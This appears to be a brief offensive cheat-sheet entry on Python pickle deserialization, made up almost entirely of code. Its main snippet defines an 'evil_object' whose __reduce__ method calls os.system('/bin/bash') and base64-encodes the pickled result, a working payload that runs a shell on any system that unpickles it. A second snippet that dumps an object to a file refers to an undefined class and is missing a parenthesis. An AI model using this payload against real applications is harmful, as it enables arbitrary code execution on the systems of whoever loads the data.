# Pickle ## Payload * Inject payload ```python import pickle import os import base64 class evil_object(object): def __reduce__(self): return(os.system, ('/bin/bash',)) x = evil_object() x = evil_object() y = pickle.dumps(x) base64.b64encode(y) ``` * Dump serialized object via ```python pickle.dump(SerializedPickle(), open('pickled.out', 'wb') ```